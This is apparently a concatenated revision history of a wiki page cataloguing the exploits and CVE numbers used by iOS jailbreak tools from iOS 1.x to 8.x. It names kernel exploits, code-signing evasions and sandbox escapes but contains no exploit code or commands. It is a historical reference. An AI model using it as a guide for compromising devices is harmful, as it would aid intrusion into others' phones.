* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})<br />
* [[HFS Legacy Volume Name Stack Buffer Overflow]]<br />
<br />
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.3 / 4.3.1 / 4.3.2 / 4.3.3) ===<br />
Except for the [[n18ap|iPod touch 3G]] on iOS 4.3.1.<br />
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})<br />
* [[IOMobileFrameBuffer Privilege Escalation Exploit]] ({{cve|2011-0227}})<br />
<br />
=== i0nic's Untether (4.3.1 / 4.3.2 / 4.3.3) ===<br />
used in [[redsn0w]] to untether iOS 4.3.1 / 4.3.2 / 4.3.3<br />
* [[ndrv_setspec() Integer Overflow]]<br />
<br />
== Programs which are used in order to jailbreak 5.x ==<br />
=== [[unthredera1n]] (5.0 / 5.0.1 / 5.1 / 5.1.1) ===<br />
Except for the [[iPad 3]]<br />
* MobileBackup2 Copy Exploit<br />
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})<br />
* [[AMFID code signing evasion]] ({{cve|2013-0977}})<br />
* [[launchd.conf untether]]<br />
* [[Timezone Vulnerability]]<br />
<br />
=== [[Absinthe]] (5.0 on [[n94ap|iPhone 4S]] only / 5.0.1 on [[iPad 2]] and [[iPhone 4S]]) ===<br />
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}}) (used both for payload injection and untether)<br />
* [[HFS Heap Overflow]] ({{cve|2012-0642}})<br />
* unknown exploit ({{cve|2012-0643}})<br />
<br />
=== [[Corona|Corona Untether]] (5.0.1) ===<br />
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}})<br />
* [[HFS Heap Overflow]] ({{cve|2012-0642}})<br />
* unknown exploit ({{cve|2012-0643}})<br />
<br />
=== [[Absinthe|Absinthe 2.0]] and [[Rocky Racoon|Rocky Racoon Untether]] (5.1.1) ===<br />
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})<br />
* Racoon DNS4/WINS4 table buffer overflow ({{cve|2012-3727}})<br />
* MobileBackup2 Copy Exploit<br />
<br />
== Programs which are used in order to jailbreak 6.x ==<br />
=== [[evasi0n]] (6.0 / 6.0.1 / 6.0.2 / 6.1 / 6.1.1 / 6.1.2) ===<br />
* [[Symbolic Link Vulnerability]] ({{cve|2013-0979}})<br />
* [[Timezone Vulnerability]]<br />
* [[Shebang Trick]] ({{cve|2013-5154}})<br />
* [[AMFID code signing evasion]]<br />
* [[launchd.conf untether]]<br />
* [[IOUSBDeviceFamily Vulnerability]] ({{cve|2013-0981}})<br />
* [[ARM Exception Vector Info Leak]] ({{cve|2013-0978}})<br />
* [[dynamic memmove() locating]]<br />
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]<br />
* [[kernel memory write via ROP gadget]]<br />
* [[Overlapping Segment Attack]] ({{cve|2013-0977}})<br />
<br />
=== [[p0sixspwn]] (6.1.3 / 6.1.4 / 6.1.5 / 6.1.6) ===<br />
* [[posix_spawn kernel information leak]] ({{cve|2013-3954}}) (by [[i0n1c]])<br />
* [[posix_spawn kernel exploit]] ({{cve|2013-3954}}) (by [[i0n1c]])<br />
* [[mach_msg_ool_descriptor_ts for heap shaping]] ({{cve|2013-3953}})<br />
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})<br />
* [[DeveloperDiskImage race condition]] (by [[comex]])<br />
* [[launchd.conf untether]]<br />
<br />
== Programs which are used in order to jailbreak 7.x ==<br />
=== [[evasi0n7]] (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) ===<br />
{{Section Stub}}<br />
* [[Symbolic Link Vulnerability]] ({{cve|2013-5133}})<br />
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})<br />
* CrashHouseKeeping chmod vulnarability ({{cve|2014-1272}})<br />
* ptmx_get_ioctl ioctl crafted call ({{cve|2014-1278}})<br />
<br />
=== [[Geeksn0w]] (7.1 / 7.1.1 / 7.1.2) ===<br />
* [[limera1n]]'s bootrom exploit ([[Tethered jailbreak]]) on [[iPhone 4]]<br />
<br />
=== [[Pangu]] (7.1 / 7.1.1 / 7.1.2) ===<br />
* [[i0n1c]]'s Infoleak vulnerability (Pangu v1.0.0)<br />
* break_early_random (by [[i0n1c]] and Tarjei Mandt of Azimuth) (Pangu v1.1.0)<br />
* LightSensor / ProxALSSensor kernel exploit (Pangu 1.0.0) ({{cve|2014-4388}})<br />
* TempSensor kernel exploit (Pangu 1.1.0) ({{cve|2014-4388}})<br />
* "syslogd chown" vulnerability<br />
* enterprise certificate (no real exploit, used for initial "unsigned" code execution)<br />
* "foo_extracted" symlink vulnerability (used to write to /var) ({{cve|2014-4386}})<br />
* /tmp/bigfile (a big file for improvement of the reliability of a race condition)<br />
* VoIP backgrounding trick (used to auto restart the app)<br />
* hidden segment attack<br />
* IOKit crafted call maker utility ({{cve|2014-4407}})<br />
<br />
== Programs which are used in order to jailbreak 8.x ==<br />
=== [[Pangu8]] (8.0 / 8.0.1 / 8.0.2 / 8.1) ===<br />
* an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)<br />
* enterprise certificate (inside the IPA)<br />
* a kind of dylib injection into a system process (see IPA)<br />
* a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)<br />
* a sandboxing problem in debugserver ({{cve|2014-4457}})<br />
* the same/a similar kernel exploit as used in [[Pangu|the first Pangu]] ({{cve|2014-4461}}) (source @iH8sn0w)<br />
* enable-dylibs-to-override-cache<br />
* a new ovelapping segment attack ({{cve|2014-4455}})<br />
* i0n1c's Kernel info leak ({{cve|2014-4491}})<br />
<br />
=== [[TaiG]] and [[PPJailbreak]] (8.0 / 8.0.1 / 8.0.2 / 8.1 / 8.1.1 / 8.1.2) ===<br />
* LightSensor / ProxALSSensor kernel exploit (Also used in Pangu 1.0.0)<br />
* [[DeveloperDiskImage race condition]] (by [[comex]]) (source: https://twitter.com/iH8sn0w/status/538602532088860672; also used in p0sixspwn)<br />
* enable-dylibs-to-override-cache (Also used in Pangu8)<br />
* a kind of dylib injection into a system process (see IPA) (Also used in Pangu8 but tweaked slightly)<br />
* a new ovelapping segment attack [in a modified version] ({{cve|2014-4455}})<br />
* a new afc symlink attack ({{cve|2014-4480}})<br />
* mach_ports info leak {{cve|2014-4496}}<br />
* IOHIDFamily Kernel exploit ({{cve|2014-4487}})</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&diff=44399
Jailbreak Exploits
2015-01-30T02:09:43Z
<p>Sjeezpwn: /* evasi0n7 (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) */</p>
<hr />
<div>This page lists the '''exploits''' used in [[jailbreak]]s.<br />
<br />
== Common exploits which are used in order to jailbreak different versions of iOS ==<br />
* [[Pwnage]] + [[Pwnage 2.0]] (together to jailbreak the [[n82ap|iPhone 3G]])<br />
* [[ARM7 Go]] (from iOS 2.1.1) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])<br />
* [[0x24000 Segment Overflow]] (for [[untethered jailbreak]] on [[n88ap|iPhone 3GS]] with [[Bootrom 359.3|old bootrom]] and [[n72ap|iPod touch 2G]] with [[Bootrom 240.4|old bootrom]]; another exploit as the [[limera1n Exploit]] is required)<br />
* [[limera1n Exploit]] (for [[tethered jailbreak]] on [[n88ap|iPhone 3GS]], [[n18ap|iPod touch 3G]], [[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]] and [[k66ap|Apple TV 2G]])<br />
* [[usb_control_msg(0xA1, 1) Exploit]] (also known as "steaks4uce") (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])<br />
<br />
== Programs which are used in order to jailbreak different versions of iOS ==<br />
=== [[PwnageTool]] (2.0 - 5.1.1) ===<br />
* uses different common exploits<br />
* uses the exploits listed below to untether up to iOS 5.1.1<br />
<br />
=== [[redsn0w]] (3.0 - 6.0) ===<br />
* uses different common exploits<br />
* uses the same exploits as [[Absinthe|Absinthe]] and [[Absinthe|Absinthe 2.0]] to jailbreak iOS 5.0/5.0.1 and 5.1.1<br />
* uses the exploits listed below to untether up to iOS 5.1.1<br />
<br />
=== [[sn0wbreeze]] (3.1.3 - 6.1.3) ===<br />
* uses different common exploits<br />
* uses the exploits listed below to untether up to iOS 6.1.2<br />
<br />
== Programs which are used in order to jailbreak 1.x ==<br />
=== [[AppTapp Installer]] (1.0 / 1.0.1 / 1.0.2) ===<br />
* iBoot <code>cp</code>-command exploit<br />
<br />
=== [[iBrickr]] (1.0 / 1.0.1 / 1.0.2) ===<br />
* iBoot <code>cp</code>-command exploit<br />
<br />
=== [[AppSnapp]]/[[JailbreakMe|JailbreakMe 1.0]] (1.0 / 1.0.1 / 1.0.2 / 1.1.1) ===<br />
* [[LibTiff|libtiff exploit]] (Adapted from the PSP scene, used by [[JailbreakMe]]) ({{cve|2006-3459}})<br />
<br />
=== [[mknod|OktoPrep]] (1.1.2) ===<br />
"Upgrade" to 1.1.2 from a jailborken 1.1.1<br />
* [[mknod]]<br />
<br />
=== [[Soft Upgrade]] (1.1.3) ===<br />
"Upgrade" to 1.1.3 from a running jailbroken 1.1.2<br />
<br />
=== [[ZiPhone]] (1.1.3 / 1.1.4 /1.1.5) ===<br />
* [[Ramdisk Hack]]<br />
<br />
=== [[iLiberty+|iLiberty / iLiberty+]] (1.1.3 / 1.1.4 /1.1.5) ===<br />
<br />
== Programs which are used in order to jailbreak 2.x ==<br />
=== [[QuickPwn]] (2.0 - 2.2.1) ===<br />
* uses [[Pwnage]] and [[Pwnage 2.0]]<br />
<br />
=== [[Redsn0w Lite]] (2.1.1) ===<br />
* [[ARM7 Go]] (for [[n72ap|iPod touch 2G]] only)<br />
<br />
== Programs which are used in order to jailbreak 3.x ==<br />
=== [[purplera1n]] (3.0) ===<br />
* [[iBoot Environment Variable Overflow]] ({{cve|2009-2795}})<br />
* uses [[0x24000 Segment Overflow]]<br />
<br />
=== [[blackra1n]] (3.1.2) ===<br />
* [[usb_control_msg(0x21, 2) Exploit]] ({{cve|2010-0038}})<br />
* uses [[0x24000 Segment Overflow]]<br />
<br />
=== [[Spirit]] (3.1.2 / 3.1.3 / 3.2) ===<br />
* [[MobileBackup Copy Exploit]]<br />
* [[Incomplete Codesign Exploit]]<br />
* [[BPF_STX Kernel Write Exploit]]<br />
<br />
=== [[Star|JailbreakMe 2.0 / Star]] (3.1.2 / 3.1.3 / 3.2 / 3.2.1) ===<br />
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})<br />
* [[Incomplete Codesign Exploit]]<br />
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})<br />
<br />
=== [[limera1n]] / [[greenpois0n (jailbreak)|greenpois0n]] (3.2.2) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
== Programs which are used in order to jailbreak 4.x ==<br />
=== [[Star|JailbreakMe 2.0 / Star]] (4.0 / 4.0.1) ===<br />
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})<br />
* [[Incomplete Codesign Exploit]]<br />
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})<br />
<br />
=== [[limera1n]] / (4.0 / 4.0.1 / 4.0.2 / 4.1) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.1) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.2.1) ===<br />
* uses different common exploits<br />
* [[HFS Legacy Volume Name Stack Buffer Overflow]]<br />
<br />
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.2.6 / 4.2.7 / 4.2.8) ===<br />
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})<br />
* [[HFS Legacy Volume Name Stack Buffer Overflow]]<br />
<br />
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.3 / 4.3.1 / 4.3.2 / 4.3.3) ===<br />
Except for the [[n18ap|iPod touch 3G]] on iOS 4.3.1.<br />
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})<br />
* [[IOMobileFrameBuffer Privilege Escalation Exploit]] ({{cve|2011-0227}})<br />
<br />
=== i0nic's Untether (4.3.1 / 4.3.2 / 4.3.3) ===<br />
used in [[redsn0w]] to untether iOS 4.3.1 / 4.3.2 / 4.3.3<br />
* [[ndrv_setspec() Integer Overflow]]<br />
<br />
== Programs which are used in order to jailbreak 5.x ==<br />
=== [[unthredera1n]] (5.0 / 5.0.1 / 5.1 / 5.1.1) ===<br />
Except for the [[iPad 3]]<br />
* MobileBackup2 Copy Exploit<br />
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})<br />
* [[AMFID code signing evasion]] ({{cve|2013-0977}})<br />
* [[launchd.conf untether]]<br />
* [[Timezone Vulnerability]]<br />
<br />
=== [[Absinthe]] (5.0 on [[n94ap|iPhone 4S]] only / 5.0.1 on [[iPad 2]] and [[iPhone 4S]]) ===<br />
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}}) (used both for payload injection and untether)<br />
* [[HFS Heap Overflow]] ({{cve|2012-0642}})<br />
* unknown exploit ({{cve|2012-0643}})<br />
<br />
=== [[Corona|Corona Untether]] (5.0.1) ===<br />
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}})<br />
* [[HFS Heap Overflow]] ({{cve|2012-0642}})<br />
* unknown exploit ({{cve|2012-0643}})<br />
<br />
=== [[Absinthe|Absinthe 2.0]] and [[Rocky Racoon|Rocky Racoon Untether]] (5.1.1) ===<br />
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})<br />
* Racoon DNS4/WINS4 table buffer overflow ({{cve|2012-3727}})<br />
* MobileBackup2 Copy Exploit<br />
<br />
== Programs which are used in order to jailbreak 6.x ==<br />
=== [[evasi0n]] (6.0 / 6.0.1 / 6.0.2 / 6.1 / 6.1.1 / 6.1.2) ===<br />
* [[Symbolic Link Vulnerability]] ({{cve|2013-0979}})<br />
* [[Timezone Vulnerability]]<br />
* [[Shebang Trick]] ({{cve|2013-5154}})<br />
* [[AMFID code signing evasion]]<br />
* [[launchd.conf untether]]<br />
* [[IOUSBDeviceFamily Vulnerability]] ({{cve|2013-0981}})<br />
* [[ARM Exception Vector Info Leak]] ({{cve|2013-0978}})<br />
* [[dynamic memmove() locating]]<br />
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]<br />
* [[kernel memory write via ROP gadget]]<br />
* [[Overlapping Segment Attack]] ({{cve|2013-0977}})<br />
<br />
=== [[p0sixspwn]] (6.1.3 / 6.1.4 / 6.1.5 / 6.1.6) ===<br />
* [[posix_spawn kernel information leak]] ({{cve|2013-3954}}) (by [[i0n1c]])<br />
* [[posix_spawn kernel exploit]] ({{cve|2013-3954}}) (by [[i0n1c]])<br />
* [[mach_msg_ool_descriptor_ts for heap shaping]] ({{cve|2013-3953}})<br />
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})<br />
* [[DeveloperDiskImage race condition]] (by [[comex]])<br />
* [[launchd.conf untether]]<br />
<br />
== Programs which are used in order to jailbreak 7.x ==<br />
=== [[evasi0n7]] (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) ===<br />
{{Section Stub}}<br />
* [[Symbolic Link Vulnerability]] ({{cve|2013-5133}})<br />
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})<br />
* CrashHouseKeeping chmod vulnarability ({{cve|2014-1272}})<br />
* ptmx_get_ioctl ioctl crafted call ({{cve|2014-1278}})<br />
<br />
=== [[Geeksn0w]] (7.1 / 7.1.1 / 7.1.2) ===<br />
* [[limera1n]]'s bootrom exploit ([[Tethered jailbreak]]) on [[iPhone 4]]<br />
<br />
=== [[Pangu]] (7.1 / 7.1.1 / 7.1.2) ===<br />
* [[i0n1c]]'s Infoleak vulnerability (Pangu v1.0.0)<br />
* break_early_random (by [[i0n1c]] and Tarjei Mandt of Azimuth) (Pangu v1.1.0)<br />
* LightSensor / ProxALSSensor kernel exploit (Pangu 1.0.0) ({{cve|2014-4388}})<br />
* TempSensor kernel exploit (Pangu 1.1.0) ({{cve|2014-4388}})<br />
* "syslogd chown" vulnerability<br />
* enterprise certificate (no real exploit, used for initial "unsigned" code execution)<br />
* "foo_extracted" symlink vulnerability (used to write to /var) ({{cve|2014-4386}})<br />
* /tmp/bigfile (a big file for improvement of the reliability of a race condition)<br />
* VoIP backgrounding trick (used to auto restart the app)<br />
* hidden segment attack<br />
* ptmx_get_ioctl crafted call exploit ({{cve|2014-4407}})<br />
<br />
== Programs which are used in order to jailbreak 8.x ==<br />
=== [[Pangu8]] (8.0 / 8.0.1 / 8.0.2 / 8.1) ===<br />
* an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)<br />
* enterprise certificate (inside the IPA)<br />
* a kind of dylib injection into a system process (see IPA)<br />
* a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)<br />
* a sandboxing problem in debugserver ({{cve|2014-4457}})<br />
* the same/a similar kernel exploit as used in [[Pangu|the first Pangu]] ({{cve|2014-4461}}) (source @iH8sn0w)<br />
* enable-dylibs-to-override-cache<br />
* a new ovelapping segment attack ({{cve|2014-4455}})<br />
* i0n1c's Kernel info leak ({{cve|2014-4491}})<br />
<br />
=== [[TaiG]] and [[PPJailbreak]] (8.0 / 8.0.1 / 8.0.2 / 8.1 / 8.1.1 / 8.1.2) ===<br />
* LightSensor / ProxALSSensor kernel exploit (Also used in Pangu 1.0.0)<br />
* [[DeveloperDiskImage race condition]] (by [[comex]]) (source: https://twitter.com/iH8sn0w/status/538602532088860672; also used in p0sixspwn)<br />
* enable-dylibs-to-override-cache (Also used in Pangu8)<br />
* a kind of dylib injection into a system process (see IPA) (Also used in Pangu8 but tweaked slightly)<br />
* a new ovelapping segment attack [in a modified version] ({{cve|2014-4455}})<br />
* a new afc symlink attack ({{cve|2014-4480}})<br />
* mach_ports info leak {{cve|2014-4496}}<br />
* IOHIDFamily Kernel exploit ({{cve|2014-4487}})</div>
Sjeezpwn
https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&diff=44390
Jailbreak Exploits
2015-01-29T00:46:32Z
<p>Sjeezpwn: that exploit was summarised by geohot but was saying it was unknown</p>
<hr />
<div>This page lists the '''exploits''' used in [[jailbreak]]s.<br />
<br />
== Common exploits which are used in order to jailbreak different versions of iOS ==<br />
* [[Pwnage]] + [[Pwnage 2.0]] (together to jailbreak the [[n82ap|iPhone 3G]])<br />
* [[ARM7 Go]] (from iOS 2.1.1) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])<br />
* [[0x24000 Segment Overflow]] (for [[untethered jailbreak]] on [[n88ap|iPhone 3GS]] with [[Bootrom 359.3|old bootrom]] and [[n72ap|iPod touch 2G]] with [[Bootrom 240.4|old bootrom]]; another exploit as the [[limera1n Exploit]] is required)<br />
* [[limera1n Exploit]] (for [[tethered jailbreak]] on [[n88ap|iPhone 3GS]], [[n18ap|iPod touch 3G]], [[k48ap|iPad]], [[iPhone 4]], [[n81ap|iPod touch 4G]] and [[k66ap|Apple TV 2G]])<br />
* [[usb_control_msg(0xA1, 1) Exploit]] (also known as "steaks4uce") (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])<br />
<br />
== Programs which are used in order to jailbreak different versions of iOS ==<br />
=== [[PwnageTool]] (2.0 - 5.1.1) ===<br />
* uses different common exploits<br />
* uses the exploits listed below to untether up to iOS 5.1.1<br />
<br />
=== [[redsn0w]] (3.0 - 6.0) ===<br />
* uses different common exploits<br />
* uses the same exploits as [[Absinthe|Absinthe]] and [[Absinthe|Absinthe 2.0]] to jailbreak iOS 5.0/5.0.1 and 5.1.1<br />
* uses the exploits listed below to untether up to iOS 5.1.1<br />
<br />
=== [[sn0wbreeze]] (3.1.3 - 6.1.3) ===<br />
* uses different common exploits<br />
* uses the exploits listed below to untether up to iOS 6.1.2<br />
<br />
== Programs which are used in order to jailbreak 1.x ==<br />
=== [[AppTapp Installer]] (1.0 / 1.0.1 / 1.0.2) ===<br />
* iBoot <code>cp</code>-command exploit<br />
<br />
=== [[iBrickr]] (1.0 / 1.0.1 / 1.0.2) ===<br />
* iBoot <code>cp</code>-command exploit<br />
<br />
=== [[AppSnapp]]/[[JailbreakMe|JailbreakMe 1.0]] (1.0 / 1.0.1 / 1.0.2 / 1.1.1) ===<br />
* [[LibTiff|libtiff exploit]] (Adapted from the PSP scene, used by [[JailbreakMe]]) ({{cve|2006-3459}})<br />
<br />
=== [[mknod|OktoPrep]] (1.1.2) ===<br />
"Upgrade" to 1.1.2 from a jailborken 1.1.1<br />
* [[mknod]]<br />
<br />
=== [[Soft Upgrade]] (1.1.3) ===<br />
"Upgrade" to 1.1.3 from a running jailbroken 1.1.2<br />
<br />
=== [[ZiPhone]] (1.1.3 / 1.1.4 /1.1.5) ===<br />
* [[Ramdisk Hack]]<br />
<br />
=== [[iLiberty+|iLiberty / iLiberty+]] (1.1.3 / 1.1.4 /1.1.5) ===<br />
<br />
== Programs which are used in order to jailbreak 2.x ==<br />
=== [[QuickPwn]] (2.0 - 2.2.1) ===<br />
* uses [[Pwnage]] and [[Pwnage 2.0]]<br />
<br />
=== [[Redsn0w Lite]] (2.1.1) ===<br />
* [[ARM7 Go]] (for [[n72ap|iPod touch 2G]] only)<br />
<br />
== Programs which are used in order to jailbreak 3.x ==<br />
=== [[purplera1n]] (3.0) ===<br />
* [[iBoot Environment Variable Overflow]] ({{cve|2009-2795}})<br />
* uses [[0x24000 Segment Overflow]]<br />
<br />
=== [[blackra1n]] (3.1.2) ===<br />
* [[usb_control_msg(0x21, 2) Exploit]] ({{cve|2010-0038}})<br />
* uses [[0x24000 Segment Overflow]]<br />
<br />
=== [[Spirit]] (3.1.2 / 3.1.3 / 3.2) ===<br />
* [[MobileBackup Copy Exploit]]<br />
* [[Incomplete Codesign Exploit]]<br />
* [[BPF_STX Kernel Write Exploit]]<br />
<br />
=== [[Star|JailbreakMe 2.0 / Star]] (3.1.2 / 3.1.3 / 3.2 / 3.2.1) ===<br />
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})<br />
* [[Incomplete Codesign Exploit]]<br />
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})<br />
<br />
=== [[limera1n]] / [[greenpois0n (jailbreak)|greenpois0n]] (3.2.2) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
== Programs which are used in order to jailbreak 4.x ==<br />
=== [[Star|JailbreakMe 2.0 / Star]] (4.0 / 4.0.1) ===<br />
* [[Malformed CFF Vulnerability]] ({{cve|2010-1797}})<br />
* [[Incomplete Codesign Exploit]]<br />
* [[IOSurface Kernel Exploit]] ({{cve|2010-2973}})<br />
<br />
=== [[limera1n]] / (4.0 / 4.0.1 / 4.0.2 / 4.1) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.1) ===<br />
* uses different common exploits<br />
* [[Packet Filter Kernel Exploit]]<br />
<br />
=== [[greenpois0n (jailbreak)|greenpois0n]] (4.2.1) ===<br />
* uses different common exploits<br />
* [[HFS Legacy Volume Name Stack Buffer Overflow]]<br />
<br />
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.2.6 / 4.2.7 / 4.2.8) ===<br />
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})<br />
* [[HFS Legacy Volume Name Stack Buffer Overflow]]<br />
<br />
=== [[Saffron|JailbreakMe 3.0 / Saffron]] (4.3 / 4.3.1 / 4.3.2 / 4.3.3) ===<br />
Except for the [[n18ap|iPod touch 3G]] on iOS 4.3.1.<br />
* [[T1 Font Integer Overflow]] ({{cve|2011-0226}})<br />
* [[IOMobileFrameBuffer Privilege Escalation Exploit]] ({{cve|2011-0227}})<br />
<br />
=== i0nic's Untether (4.3.1 / 4.3.2 / 4.3.3) ===<br />
used in [[redsn0w]] to untether iOS 4.3.1 / 4.3.2 / 4.3.3<br />
* [[ndrv_setspec() Integer Overflow]]<br />
<br />
== Programs which are used in order to jailbreak 5.x ==<br />
=== [[unthredera1n]] (5.0 / 5.0.1 / 5.1 / 5.1.1) ===<br />
Except for the [[iPad 3]]<br />
* MobileBackup2 Copy Exploit<br />
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})<br />
* [[AMFID code signing evasion]] ({{cve|2013-0977}})<br />
* [[launchd.conf untether]]<br />
* [[Timezone Vulnerability]]<br />
<br />
=== [[Absinthe]] (5.0 on [[n94ap|iPhone 4S]] only / 5.0.1 on [[iPad 2]] and [[iPhone 4S]]) ===<br />
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}}) (used both for payload injection and untether)<br />
* [[HFS Heap Overflow]] ({{cve|2012-0642}})<br />
* unknown exploit ({{cve|2012-0643}})<br />
<br />
=== [[Corona|Corona Untether]] (5.0.1) ===<br />
* [[Racoon String Format Overflow Exploit]] ({{cve|2012-0646}})<br />
* [[HFS Heap Overflow]] ({{cve|2012-0642}})<br />
* unknown exploit ({{cve|2012-0643}})<br />
<br />
=== [[Absinthe|Absinthe 2.0]] and [[Rocky Racoon|Rocky Racoon Untether]] (5.1.1) ===<br />
* a new Packet Filter Kernel Exploit ({{cve|2012-3728}})<br />
* Racoon DNS4/WINS4 table buffer overflow ({{cve|2012-3727}})<br />
* MobileBackup2 Copy Exploit<br />
<br />
== Programs which are used in order to jailbreak 6.x ==<br />
=== [[evasi0n]] (6.0 / 6.0.1 / 6.0.2 / 6.1 / 6.1.1 / 6.1.2) ===<br />
* [[Symbolic Link Vulnerability]] ({{cve|2013-0979}})<br />
* [[Timezone Vulnerability]]<br />
* [[Shebang Trick]] ({{cve|2013-5154}})<br />
* [[AMFID code signing evasion]]<br />
* [[launchd.conf untether]]<br />
* [[IOUSBDeviceFamily Vulnerability]] ({{cve|2013-0981}})<br />
* [[ARM Exception Vector Info Leak]] ({{cve|2013-0978}})<br />
* [[dynamic memmove() locating]]<br />
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]<br />
* [[kernel memory write via ROP gadget]]<br />
* [[Overlapping Segment Attack]] ({{cve|2013-0977}})<br />
<br />
=== [[p0sixspwn]] (6.1.3 / 6.1.4 / 6.1.5 / 6.1.6) ===<br />
* [[posix_spawn kernel information leak]] ({{cve|2013-3954}}) (by [[i0n1c]])<br />
* [[posix_spawn kernel exploit]] ({{cve|2013-3954}}) (by [[i0n1c]])<br />
* [[mach_msg_ool_descriptor_ts for heap shaping]] ({{cve|2013-3953}})<br />
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})<br />
* [[DeveloperDiskImage race condition]] (by [[comex]])<br />
* [[launchd.conf untether]]<br />
<br />
== Programs which are used in order to jailbreak 7.x ==<br />
=== [[evasi0n7]] (7.0 / 7.0.1 / 7.0.2 / 7.0.3 / 7.0.4 / 7.0.5 / 7.0.6) ===<br />
{{Section Stub}}<br />
* [[Symbolic Link Vulnerability]] ({{cve|2013-5133}})<br />
* [[AMFID_code_signing_evasi0n7]] ({{cve|2014-1273}})<br />
* CrashHouseKeeping chmod vulnarability ({{cve|2014-1272}})<br />
* unknown exploit ({{cve|2014-1278}})<br />
<br />
=== [[Geeksn0w]] (7.1 / 7.1.1 / 7.1.2) ===<br />
* [[limera1n]]'s bootrom exploit ([[Tethered jailbreak]]) on [[iPhone 4]]<br />
<br />
=== [[Pangu]] (7.1 / 7.1.1 / 7.1.2) ===<br />
* [[i0n1c]]'s Infoleak vulnerability (Pangu v1.0.0)<br />
* break_early_random (by [[i0n1c]] and Tarjei Mandt of Azimuth) (Pangu v1.1.0)<br />
* LightSensor / ProxALSSensor kernel exploit (Pangu 1.0.0) ({{cve|2014-4388}})<br />
* TempSensor kernel exploit (Pangu 1.1.0) ({{cve|2014-4388}})<br />
* "syslogd chown" vulnerability<br />
* enterprise certificate (no real exploit, used for initial "unsigned" code execution)<br />
* "foo_extracted" symlink vulnerability (used to write to /var) ({{cve|2014-4386}})<br />
* /tmp/bigfile (a big file for improvement of the reliability of a race condition)<br />
* VoIP backgrounding trick (used to auto restart the app)<br />
* hidden segment attack<br />
* ptmx_get_ioctl crafted call exploit ({{cve|2014-4407}})<br />
<br />
== Programs which are used in order to jailbreak 8.x ==<br />
=== [[Pangu8]] (8.0 / 8.0.1 / 8.0.2 / 8.1) ===<br />
* an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)<br />
* enterprise certificate (inside the IPA)<br />
* a kind of dylib injection into a system process (see IPA)<br />
* a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)<br />
* a sandboxing problem in debugserver ({{cve|2014-4457}})<br />
* the same/a similar kernel exploit as used in [[Pangu|the first Pangu]] ({{cve|2014-4461}}) (source @iH8sn0w)<br />
* enable-dylibs-to-override-cache<br />
* a new ovelapping segment attack ({{cve|2014-4455}})<br />
* i0n1c's Kernel info leak ({{cve|2014-4491}})<br />
<br />
=== [[TaiG]] and [[PPJailbreak]] (8.0 / 8.0.1 / 8.0.2 / 8.1 / 8.1.1 / 8.1.2) ===<br />
* LightSensor / ProxALSSensor kernel exploit (Also used in Pangu 1.0.0)<br />
* [[DeveloperDiskImage race condition]] (by [[comex]]) (source: https://twitter.com/iH8sn0w/status/538602532088860672; also used in p0sixspwn)<br />
* enable-dylibs-to-override-cache (Also used in Pangu8)<br />
* a kind of dylib injection into a system process (see IPA) (Also used in Pangu8 but tweaked slightly)<br />
* a new ovelapping segment attack [in a modified version] ({{cve|2014-4455}})<br />
* a new afc symlink attack ({{cve|2014-4480}})<br />
